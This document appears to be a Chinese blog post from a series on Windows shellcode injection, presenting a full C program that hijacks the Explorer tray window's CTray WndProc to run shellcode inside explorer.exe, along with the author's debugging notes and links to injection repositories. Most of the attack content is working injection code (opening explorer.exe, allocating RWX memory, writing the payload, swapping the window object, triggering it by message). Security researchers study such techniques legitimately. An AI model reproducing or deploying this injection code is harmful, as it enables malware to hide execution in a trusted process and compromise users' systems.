• windows:shellcode 远程线程hook/注入(三)


         今天介绍第三种远程执行shellcode的思路:函数回调;

         1、所谓回调,简单理解:

    •   windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开发人员根据实际情况完善这些事务的处理过程,比如多线程;windows提供了创建线程的接口CreateThread、CreateRemoteThread,线程创建好后干啥了? 当然是执行开发人员个性化的代码了! 所以这些API的参数也预留了开发人员自定义代码的入口;
    •      windows内部:不同模块有不同的功能,模块之间是互相协同的,并且是典型的多对多关系。如果模块之间的调用是紧耦合并且固化,不利于模块的复用,所以内部很多地方也是通过回调函数实现模块之间互相松耦合的,典型的比如windows消息机制:窗口之间互相PostMessage、SendMessage,接收到消息后,开发人员可以通过重写WndProc函数自定义消息的处理过程;

          本次实验利用windows窗口之间的消息传递机制执行自己的shellcode,核心原理如下:

    •   通过Shell_TrayWnd打开目标进程(通常是explorer.exe);
    •        写入shellcode
    •        构造CTray对象,其中有个成员就是WndProc,使其指向shellcode;CTray对象随后写入目标进程
    •        调用SetWindowLongPtr, 让窗口的处理程序指向CTray对象,进而执行我们自己定义的shellcode;

      核心代码如下:

           头文件:

    //#define UNICODE
    #include "ntlib/ntddk.h"
    #include <stdio.h>
    #pragma comment(lib, "user32.lib")
    #pragma comment(lib, "shell32.lib")
    #pragma comment(lib, "ntdll.lib")
    
    
    // CTray object for Shell_TrayWnd
    typedef struct _ctray_vtable {
        ULONG_PTR vTable;    // change to remote memory address
        ULONG_PTR AddRef;
        ULONG_PTR Release;
        ULONG_PTR WndProc;   // window procedure (change to payload)
    } CTray;
    
    VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize);
    VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize);
    DWORD readpic(PWCHAR path, LPVOID* pic);
    
    
    #endif // !_KCT_H

      C文件:

    #include "ktc.h"
    
    VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize)
    {
        LPVOID    cs, ds;
        CTray     ct;
        ULONG_PTR ctp;
        HWND      hw;
        HANDLE    hp;
        DWORD     pid;
        SIZE_T    wr;
    
        // 1. Obtain a handle for the shell tray window
        hw = FindWindow(L"Shell_TrayWnd", NULL);
    
        // 2. Obtain a process id for explorer.exe
        GetWindowThreadProcessId(hw, &pid);
        printf("find window ID=%d
    ", pid);
        // 3. Open explorer.exe
        hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
        // 4. Obtain pointer to the current CTray object
        ctp = GetWindowLongPtr(hw, 0);
        if (ctp == 0)
        {
            printf("GetWindowLongPtr failed!
    ");
            CloseHandle(hp);
            return;
        }
    
        // 5. Read address of the current CTray object
        ReadProcessMemory(hp, (LPVOID)ctp,
            (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    
        // 6. Read three addresses from the virtual table
        ReadProcessMemory(hp, (LPVOID)ct.vTable,
            (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
    
        // 7. Allocate RWX memory for code
        cs = VirtualAllocEx(hp, NULL, payloadSize,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        // 8. Copy the code to target process
        WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
        printf("payload address:%p
    ", payload);
        //printf("cs address:%p---->%s
    ", cs, *(char *)cs);//cs是exlorer进程的地址,这里读会出事;
        printf("cs address:%p
    ", cs);
        // 9. Allocate RW memory for the new CTray object
        ds = VirtualAllocEx(hp, NULL, sizeof(ct),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
        // 10. Write the new CTray object to remote memory
        ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
        ct.WndProc = (ULONG_PTR)cs;
    
        WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
    
        // 11. Set the new pointer to CTray object
        if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) 
        {
            printf("SetWindowLongPtr failed!
    ");
            VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
            VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
            CloseHandle(hp);
            return;
        }
       //system("pause");
        // 12. Trigger the payload via a windows message
        //PostMessage(hw, WM_CLOSE, 0, 0);
        PostMessage(hw, WM_PAINT, 0, 0);
        //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //执行注入代码
        Sleep(1);
        //system("pause");
        // 13. Restore the original CTray object
        SetWindowLongPtr(hw, 0, ctp);
    
        //system("pause");
    
        // 14. Release memory and close handles
        VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
        VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
        CloseHandle(hp);
    }
    
    /*shellcode从bin文件读出来*/
    DWORD readpic(PWCHAR path, LPVOID* pic) {
        HANDLE hf;
        DWORD  len, rd = 0;
    
        // 1. open the file
        hf = CreateFile(path, GENERIC_READ, 0, 0,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
        if (hf != INVALID_HANDLE_VALUE) {
            // get file size
            len = GetFileSize(hf, 0);
            // allocate memory
            *pic = malloc(len + 16);
            printf("*pic:%p------------->
    ", *pic);
            // read file contents into memory
            ReadFile(hf, *pic, len, &rd, 0);
            CloseHandle(hf);
        }
        return rd;
    }
    
    int main(void) {
        LPVOID pic = NULL;
        DWORD  len;
        int    argc;
        PWCHAR* argv;
    
        argv = CommandLineToArgvW(GetCommandLine(), &argc);
    
        if (argc != 2) 
        { 
            printf("usage: kct <payload>
    ");
            return 0; 
        }
    
        len = readpic(argv[1], &pic);
        if (len == 0) { printf("invalid payload
    "); return 0; }
    
        //kernelcallbacktable(pic, len);
        CTray_WndProc_Hook(pic, len);
        return 0;
    }

      执行后:通过process hacker看,shellcode成功写入explorer进程:

         

          但最终结果并未按照预期弹出messageBox,反而导致explorer崩溃(表现为无法打开文件夹、下方任务栏点击右键没反应、点击左下角的”开始“也没反应);经过在不同代码处添加pause,反复尝试多次后发现问题所在:SetWindowLongPtr执行时出错。个人猜测原因(未经证实)如下:

          SetWindowLongPtr执行时,会将原来默认的消息处理函数改成我们自定义的shellcode,这切换的过程需要时间;但windows是个非常复杂的系统,每毫秒、微妙甚至纳秒都有消息需要处理,切换时还会收到大量消息(shellcode里面的messageBox本身也要弹框),但切换过程中这些消息来不及(或压根无法)处理,导致explorer崩溃,然后进程挂掉后自动重启。这时再在任务栏点击右键、点击文件夹、点击左下角的开始等地方都会有原来的反应;这让我想起了前端时间学习用汇编写操作系统时的一些trick: 执行重要指令时,先cli关闭中断,避免指令被打断。执行完成后再sti 重启开启中断;但SetWindowLongPtr在执行的时候貌似并未有屏蔽消息的功能(后续会想一些办法,比如逆向一些关键的dll去核实);

          这次实验算是失败了,下面还有10来种shellcode 的注入办法,后续会挨个尝试,找到当下最合适的那个;

    最后:借(chao)鉴(xi)了别人的思路和代码如下:

    https://www.sec-in.com/article/64 

    https://modexp.wordpress.com/

    https://github.com/odzhan/injection

    -------------------------------------------------------------------------分割线------------------------------------------------------------------------------------------------------------------------------------------------

            同样的代码,今天编译成64位,换了一个shellcode(https://github.com/odzhan/injection/tree/master/kct 这里的release.bin),程序正常运行,shellcode执行完后弹出了记事本,这里总结一下刚开始实验时失败的原因:

            1、explorer.exe是64位的,注入程序却是32位的,尽快shellcode成功注入了explorer.exe,但SetWindowLongPtr执行完后底层并未成功置换原CTray,导致自定义的shellcode未能执行;

            2、原shellcode:本身也是32位的,里面的LoadLibrary和GetProcAddress都是在32位的环境下动态获取的,在64位的exlporer.exe中无法正常获取其地址,反而导致explorer.exe自身崩溃;

    
    
  • 相关阅读:
    【原创】虚拟机上实现绑定固定IP扩主机容器互访
    docker entrypoint入口文件详解
    数据库博客推荐
    docker下centos安装ping命令
    Dockerfile指令详解
    Elasticsearch Java API 的使用
    docker容器里面安装ssh
    RPM安装命令总结
    Docker容器的跨主机连接
    使用Java程序片段动态生成表格
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13236421.html
Copyright © 2020-2023  润新知